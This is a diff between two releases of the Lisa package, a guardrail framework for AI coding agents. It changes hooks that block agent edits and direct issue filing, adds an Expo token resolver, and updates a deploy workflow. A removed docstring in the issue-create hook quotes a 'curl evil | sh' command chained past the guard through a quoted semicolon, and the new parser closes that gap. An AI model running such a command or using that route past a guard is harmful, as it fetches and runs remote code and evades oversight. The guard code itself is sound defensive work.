@codyswann/lisa 4.59.2 → 4.59.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +33 -72
- package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +18 -10
- package/all/copy-overwrite/scripts/lisa-lint-staged-preflight.mjs +33 -9
- package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
- package/dist/core/lisa-owned-hash-ledger.js +6 -0
- package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
- package/dist/core/nightly-e2e-guard-behavior-certificate.js +2 -2
- package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
- package/dist/core/upstream-evidence-manifest.js +21 -10
- package/dist/core/upstream-evidence-manifest.js.map +1 -1
- package/dist/opencode/plugin-templates/block-managed-file-edits.sh +18 -10
- package/expo/create-only/.github/workflows/deploy.yml +31 -9
- package/package.json +4 -4
- package/plugins/lisa/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/plugins/lisa/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/lisa/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-agy/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-agy/plugin.json +1 -1
- package/plugins/lisa-agy/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/lisa-agy/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-agy/plugin.json +1 -1
- package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-copilot/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/lisa-copilot/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-cursor/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/lisa-cursor/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-agy/plugin.json +1 -1
- package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-agy/plugin.json +1 -1
- package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-agy/plugin.json +1 -1
- package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-agy/plugin.json +1 -1
- package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-agy/plugin.json +1 -1
- package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-agy/plugin.json +1 -1
- package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-agy/plugin.json +1 -1
- package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/src/base/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/src/base/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/src/base/skills/lisa-secrets-access/SKILL.md +12 -0
- package/plugins/src/base/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
- package/scripts/check-workflow-package-paths.mjs +37 -3
- package/scripts/lib/workflow-contract-probe.mjs +11 -0
- package/scripts/two-channel-couplings.json +1 -1
|
@@ -325,7 +325,7 @@ managed_source() {
|
|
|
325
325
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
326
326
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
327
327
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
328
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
328
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
329
329
|
generated_path() {
|
|
330
330
|
local rel="$1"
|
|
331
331
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -364,16 +364,24 @@ refuse() {
|
|
|
364
364
|
local target="$1"
|
|
365
365
|
local source="$2"
|
|
366
366
|
local rel="$3"
|
|
367
|
-
local consequence
|
|
368
367
|
if generated_path "$rel"; then
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
368
|
+
cat >&2 <<EOF
|
|
369
|
+
BLOCKED: refusing to write \`$target\`.
|
|
370
|
+
|
|
371
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
372
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
373
|
+
rebuilds it, so a direct edit will be lost.
|
|
374
|
+
|
|
375
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
376
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
377
|
+
|
|
378
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
379
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
380
|
+
EOF
|
|
381
|
+
exit 2
|
|
382
|
+
fi
|
|
383
|
+
local consequence
|
|
384
|
+
if ledger_tracked "$rel"; then
|
|
377
385
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
378
386
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
379
387
|
whether it is out of date or deliberately stronger. Kept yours.\"
|
|
@@ -165,15 +165,23 @@ jobs:
|
|
|
165
165
|
outputs:
|
|
166
166
|
has_eas_setup: ${{ steps.check.outputs.has_eas_setup }}
|
|
167
167
|
steps:
|
|
168
|
+
- uses: actions/checkout@v6
|
|
168
169
|
- id: check
|
|
169
170
|
run: |
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
171
|
+
set -eu
|
|
172
|
+
ready=false
|
|
173
|
+
if [ -n "$EXPO_TOKEN" ]; then
|
|
174
|
+
ready=true
|
|
175
|
+
elif [ -n "$LISA_SECRETS_BOOTSTRAP" ] && [ -f .lisa.config.json ]; then
|
|
176
|
+
provider=$(jq -r '.secrets.provider // "env"' .lisa.config.json)
|
|
177
|
+
if [ "$provider" != env ]; then ready=true; fi
|
|
174
178
|
fi
|
|
179
|
+
# Eligibility is not authentication; each consuming job resolves its own token.
|
|
180
|
+
echo "has_eas_setup=$ready" >> "$GITHUB_OUTPUT"
|
|
175
181
|
env:
|
|
176
182
|
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
|
183
|
+
# Map this to the existing tenant-scoped bootstrap secret if named differently.
|
|
184
|
+
LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
|
|
177
185
|
|
|
178
186
|
# Check if native app config has changed
|
|
179
187
|
check_app_config_changes:
|
|
@@ -236,6 +244,7 @@ jobs:
|
|
|
236
244
|
environment: ${{ needs.determine_environment.outputs.environment }}
|
|
237
245
|
secrets:
|
|
238
246
|
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
|
247
|
+
LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
|
|
239
248
|
|
|
240
249
|
# EAS Deploy/Publish
|
|
241
250
|
deploy:
|
|
@@ -316,15 +325,28 @@ jobs:
|
|
|
316
325
|
uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2.2.0
|
|
317
326
|
with:
|
|
318
327
|
bun-version: '1.3.8'
|
|
319
|
-
- name: Setup EAS
|
|
320
|
-
uses: expo/expo-github-action@c7b66a9c327a43a8fa7c0158e7f30d6040d2481e # v8.2.1
|
|
321
|
-
with:
|
|
322
|
-
eas-version: latest
|
|
323
|
-
token: ${{ secrets.EXPO_TOKEN }}
|
|
324
328
|
- name: Set Env
|
|
325
329
|
run: echo "PUPPETEER_SKIP_DOWNLOAD=true" >> $GITHUB_ENV
|
|
326
330
|
- name: Install dependencies
|
|
327
331
|
run: bun install
|
|
332
|
+
- name: Resolve Expo token
|
|
333
|
+
env:
|
|
334
|
+
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
|
335
|
+
LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
|
|
336
|
+
run: |
|
|
337
|
+
set -eu
|
|
338
|
+
if [ -n "$EXPO_TOKEN" ] || [ -z "$LISA_SECRETS_BOOTSTRAP" ]; then exit 0; fi
|
|
339
|
+
resolver=node_modules/@codyswann/lisa/plugins/lisa/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs
|
|
340
|
+
if [ ! -f "$resolver" ]; then
|
|
341
|
+
echo "::error::Upgrade the project's @codyswann/lisa dependency before enabling provider-backed Expo authentication."
|
|
342
|
+
exit 1
|
|
343
|
+
fi
|
|
344
|
+
node "$resolver"
|
|
345
|
+
- name: Setup EAS
|
|
346
|
+
uses: expo/expo-github-action@c7b66a9c327a43a8fa7c0158e7f30d6040d2481e # v8.2.1
|
|
347
|
+
with:
|
|
348
|
+
eas-version: latest
|
|
349
|
+
token: ${{ secrets.EXPO_TOKEN || env.EXPO_TOKEN }}
|
|
328
350
|
- name: Copy environment file
|
|
329
351
|
uses: canastro/copy-file-action@ae66602ce7d214dbd2e298c1db67a81388755a0a # master (untagged, 2022-10-17)
|
|
330
352
|
with:
|
package/package.json
CHANGED
|
@@ -187,7 +187,7 @@
|
|
|
187
187
|
"zod-validation-error": "^4.0.0"
|
|
188
188
|
},
|
|
189
189
|
"name": "@codyswann/lisa",
|
|
190
|
-
"version": "4.59.
|
|
190
|
+
"version": "4.59.4",
|
|
191
191
|
"description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
|
|
192
192
|
"main": "dist/index.js",
|
|
193
193
|
"exports": {
|
|
@@ -336,7 +336,7 @@
|
|
|
336
336
|
"test": "tests"
|
|
337
337
|
},
|
|
338
338
|
"types": "./dist/index.d.ts",
|
|
339
|
-
"lisaReleaseCommit": "
|
|
340
|
-
"gitHead": "
|
|
341
|
-
"lisaReleaseTag": "v4.59.
|
|
339
|
+
"lisaReleaseCommit": "6b6743812891ef43d6042b5d34531e380c2ac293",
|
|
340
|
+
"gitHead": "6b6743812891ef43d6042b5d34531e380c2ac293",
|
|
341
|
+
"lisaReleaseTag": "v4.59.4"
|
|
342
342
|
}
|
|
@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
|
|
|
188
188
|
|
|
189
189
|
There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
|
|
190
190
|
|
|
191
|
+
### Expo workflow pilot
|
|
192
|
+
|
|
193
|
+
The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
|
|
194
|
+
|
|
195
|
+
For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
|
|
196
|
+
|
|
197
|
+
The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
|
|
198
|
+
|
|
199
|
+
The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
|
|
200
|
+
|
|
201
|
+
The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
|
|
202
|
+
|
|
191
203
|
## The exposure boundary
|
|
192
204
|
|
|
193
205
|
**The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/** Resolve the Expo pilot's credential inside its GitHub Actions job. */
|
|
3
|
+
import { randomUUID } from "node:crypto";
|
|
4
|
+
import { appendFileSync } from "node:fs";
|
|
5
|
+
|
|
6
|
+
import { get, readConfig } from "./resolve-secret.mjs";
|
|
7
|
+
import { ENV_KEY } from "./providers.mjs";
|
|
8
|
+
import {
|
|
9
|
+
BIN_DIR,
|
|
10
|
+
ensureOnPath,
|
|
11
|
+
loadPinnedInstaller,
|
|
12
|
+
} from "../../lisa-setup-workstation/scripts/cli.mjs";
|
|
13
|
+
import {
|
|
14
|
+
installEntry,
|
|
15
|
+
planProvider,
|
|
16
|
+
resolveProvider,
|
|
17
|
+
} from "../../lisa-setup-workstation/scripts/workstation.mjs";
|
|
18
|
+
|
|
19
|
+
/** Provision only the selected provider, using the existing pinned installer. */
|
|
20
|
+
async function prepareProvider(name) {
|
|
21
|
+
const provider = resolveProvider(name);
|
|
22
|
+
let plan = planProvider(provider);
|
|
23
|
+
if (plan.action === "present") return;
|
|
24
|
+
ensureOnPath(BIN_DIR);
|
|
25
|
+
plan = planProvider(provider);
|
|
26
|
+
if (plan.action === "present") return;
|
|
27
|
+
if (plan.action !== "install") throw new Error("Provider needs setup");
|
|
28
|
+
const installed = installEntry({ ...provider, name: provider.binary }, plan, {
|
|
29
|
+
installPinned: await loadPinnedInstaller(),
|
|
30
|
+
});
|
|
31
|
+
if (installed.action !== "installed")
|
|
32
|
+
throw new Error("Provider setup failed");
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
/** Keep the bootstrap inside this subprocess; export only the selected value. */
|
|
36
|
+
async function resolveToken() {
|
|
37
|
+
const explicit = process.env.EXPO_TOKEN;
|
|
38
|
+
const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
|
|
39
|
+
delete process.env.LISA_SECRETS_BOOTSTRAP;
|
|
40
|
+
if (explicit) return explicit;
|
|
41
|
+
|
|
42
|
+
process.env.LISA_SECRETS_SURFACE = "github-actions";
|
|
43
|
+
const cfg = readConfig();
|
|
44
|
+
if (cfg.provider === "env") return "";
|
|
45
|
+
if (
|
|
46
|
+
bootstrap &&
|
|
47
|
+
(!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
|
|
48
|
+
cfg.bootstrap.key === "EXPO_TOKEN")
|
|
49
|
+
) {
|
|
50
|
+
throw new Error("Invalid bootstrap key");
|
|
51
|
+
}
|
|
52
|
+
await prepareProvider(cfg.provider);
|
|
53
|
+
if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
|
|
54
|
+
return get("EXPO_TOKEN", cfg);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
if (process.argv.includes("--help")) {
|
|
58
|
+
// Safe to inspect without preparing a provider or reading/exporting a token.
|
|
59
|
+
console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
|
|
60
|
+
console.log(
|
|
61
|
+
"An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
|
|
62
|
+
);
|
|
63
|
+
} else {
|
|
64
|
+
let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
|
|
65
|
+
try {
|
|
66
|
+
const destination = process.env.GITHUB_ENV;
|
|
67
|
+
if (!destination) throw new Error("GITHUB_ENV is required");
|
|
68
|
+
failureMessage =
|
|
69
|
+
"Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
|
|
70
|
+
const token = await resolveToken();
|
|
71
|
+
if (token) {
|
|
72
|
+
const masked = token
|
|
73
|
+
.replaceAll("%", "%25")
|
|
74
|
+
.replaceAll("\r", "%0D")
|
|
75
|
+
.replaceAll("\n", "%0A");
|
|
76
|
+
console.log(`::add-mask::${masked}`);
|
|
77
|
+
const delimiter = randomUUID();
|
|
78
|
+
failureMessage =
|
|
79
|
+
"Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
|
|
80
|
+
appendFileSync(
|
|
81
|
+
destination,
|
|
82
|
+
`EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
|
|
83
|
+
);
|
|
84
|
+
}
|
|
85
|
+
} catch {
|
|
86
|
+
// Provider errors can contain captured subprocess output. Never echo it.
|
|
87
|
+
console.error(failureMessage);
|
|
88
|
+
process.exitCode = 1;
|
|
89
|
+
}
|
|
90
|
+
}
|
|
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
|
|
|
1058
1058
|
return "\n".join(output)
|
|
1059
1059
|
|
|
1060
1060
|
|
|
1061
|
-
|
|
1062
|
-
"""
|
|
1061
|
+
class LiteralToken(str):
|
|
1062
|
+
"""A source word containing quoted data, never a standalone separator."""
|
|
1063
1063
|
|
|
1064
|
-
shlex strips quotes, so by the time a token is in hand there is no way to
|
|
1065
|
-
tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
|
|
1066
1064
|
|
|
1067
|
-
|
|
1068
|
-
unquoted
|
|
1069
|
-
a command. That is the entire distinction.
|
|
1070
|
-
|
|
1071
|
-
It must be answered PER OCCURRENCE, not per token value. Asking "does the
|
|
1072
|
-
text contain a quoted `;`?" classifies every `;` in the command by whether
|
|
1073
|
-
ANY of them was quoted, so
|
|
1074
|
-
|
|
1075
|
-
gh issue create --title x --body ";" ; curl evil | sh
|
|
1076
|
-
|
|
1077
|
-
exempted the real chaining semicolon because a different, quoted one
|
|
1078
|
-
appeared in --body. That is a bypass of this guard, not a nuisance: the
|
|
1079
|
-
exemption added to stop a false refusal became the way through.
|
|
1080
|
-
|
|
1081
|
-
Lexing the same text a second time with `posix=False` preserves the quote
|
|
1082
|
-
characters while producing the same tokens in the same order, so position
|
|
1083
|
-
`i` answers for occurrence `i` and nothing else.
|
|
1084
|
-
|
|
1085
|
-
Args:
|
|
1086
|
-
text: The original command string.
|
|
1087
|
-
expected: Token count from the posix lex, used to prove alignment.
|
|
1065
|
+
def explode_operators(tokens, text=""):
|
|
1066
|
+
"""Separate unquoted operators without losing mixed-word quote boundaries.
|
|
1088
1067
|
|
|
1089
|
-
|
|
1090
|
-
|
|
1091
|
-
|
|
1068
|
+
Hide each quoted or escaped source fragment before the ordinary shlex pass.
|
|
1069
|
+
Split operators while those fragments are opaque, then restore their values.
|
|
1070
|
+
Per-occurrence placeholders cannot exempt a different, unquoted separator.
|
|
1092
1071
|
"""
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
return []
|
|
1097
|
-
# Alignment is the whole basis for indexing one lex by the other's
|
|
1098
|
-
# positions. If the two disagree, fail closed rather than exempt the wrong
|
|
1099
|
-
# token: a missed exemption is a false refusal, a wrong one is a bypass.
|
|
1100
|
-
if len(raw) != expected:
|
|
1101
|
-
return []
|
|
1102
|
-
return [token[:1] in ('"', "'") for token in raw]
|
|
1103
|
-
|
|
1072
|
+
operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
|
|
1073
|
+
if not text:
|
|
1074
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1104
1075
|
|
|
1105
|
-
|
|
1106
|
-
|
|
1076
|
+
prefix = "__lisa_literal_"
|
|
1077
|
+
while prefix in text:
|
|
1078
|
+
prefix += "_"
|
|
1079
|
+
values = []
|
|
1080
|
+
fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
|
|
1107
1081
|
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1082
|
+
def hide(match):
|
|
1083
|
+
"""Decode one protected fragment through the same POSIX lexer."""
|
|
1084
|
+
value = shlex.split(match.group(0), posix=True)
|
|
1085
|
+
values.append(value[0] if value else "")
|
|
1086
|
+
return prefix + str(len(values) - 1) + "__"
|
|
1111
1087
|
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
semicolon, the `--label status:ready` landed in a different segment from the
|
|
1115
|
-
`gh issue create`, and the guard refused a correctly-formed filing while
|
|
1116
|
-
telling the author to add the label they had already added. Recorded on
|
|
1117
|
-
CodySwannGT/lisa#2634 after it blocked a real filing.
|
|
1088
|
+
masked = fragments.sub(hide, text)
|
|
1089
|
+
marker = re.compile(re.escape(prefix) + r"(\d+)__")
|
|
1118
1090
|
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
the exact regression the GLUED_OPERATORS comment above records as having
|
|
1123
|
-
silently un-refused every GraphQL creation.
|
|
1091
|
+
def restore(value):
|
|
1092
|
+
"""Restore once, so decoded text cannot become another placeholder."""
|
|
1093
|
+
return marker.sub(lambda match: values[int(match.group(1))], value)
|
|
1124
1094
|
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1095
|
+
shadow = shlex.split(masked, posix=True)
|
|
1096
|
+
if [restore(token) for token in shadow] != tokens:
|
|
1097
|
+
# If alignment cannot be established, grant no quoting exemptions.
|
|
1098
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1128
1099
|
|
|
1129
|
-
Returns:
|
|
1130
|
-
Tokens with operators separated out.
|
|
1131
|
-
"""
|
|
1132
|
-
pattern = re.compile(
|
|
1133
|
-
"(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
|
|
1134
|
-
)
|
|
1135
1100
|
exploded = []
|
|
1136
|
-
|
|
1137
|
-
|
|
1138
|
-
if index < len(quoted) and quoted[index]:
|
|
1139
|
-
exploded.append(token)
|
|
1140
|
-
continue
|
|
1141
|
-
for piece in pattern.split(token):
|
|
1101
|
+
for token in shadow:
|
|
1102
|
+
for piece in operators.split(token):
|
|
1142
1103
|
if piece:
|
|
1143
|
-
exploded.append(piece)
|
|
1104
|
+
exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
|
|
1144
1105
|
return exploded
|
|
1145
1106
|
|
|
1146
1107
|
|
|
@@ -1156,7 +1117,7 @@ def segment(tokens):
|
|
|
1156
1117
|
segments = []
|
|
1157
1118
|
current = []
|
|
1158
1119
|
for token in tokens:
|
|
1159
|
-
if token in SEGMENT_BOUNDARIES:
|
|
1120
|
+
if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
|
|
1160
1121
|
segments.append(current)
|
|
1161
1122
|
current = []
|
|
1162
1123
|
continue
|
|
@@ -325,7 +325,7 @@ managed_source() {
|
|
|
325
325
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
326
326
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
327
327
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
328
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
328
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
329
329
|
generated_path() {
|
|
330
330
|
local rel="$1"
|
|
331
331
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -364,16 +364,24 @@ refuse() {
|
|
|
364
364
|
local target="$1"
|
|
365
365
|
local source="$2"
|
|
366
366
|
local rel="$3"
|
|
367
|
-
local consequence
|
|
368
367
|
if generated_path "$rel"; then
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
368
|
+
cat >&2 <<EOF
|
|
369
|
+
BLOCKED: refusing to write \`$target\`.
|
|
370
|
+
|
|
371
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
372
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
373
|
+
rebuilds it, so a direct edit will be lost.
|
|
374
|
+
|
|
375
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
376
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
377
|
+
|
|
378
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
379
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
380
|
+
EOF
|
|
381
|
+
exit 2
|
|
382
|
+
fi
|
|
383
|
+
local consequence
|
|
384
|
+
if ledger_tracked "$rel"; then
|
|
377
385
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
378
386
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
379
387
|
whether it is out of date or deliberately stronger. Kept yours.\"
|
|
@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
|
|
|
188
188
|
|
|
189
189
|
There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
|
|
190
190
|
|
|
191
|
+
### Expo workflow pilot
|
|
192
|
+
|
|
193
|
+
The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
|
|
194
|
+
|
|
195
|
+
For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
|
|
196
|
+
|
|
197
|
+
The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
|
|
198
|
+
|
|
199
|
+
The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
|
|
200
|
+
|
|
201
|
+
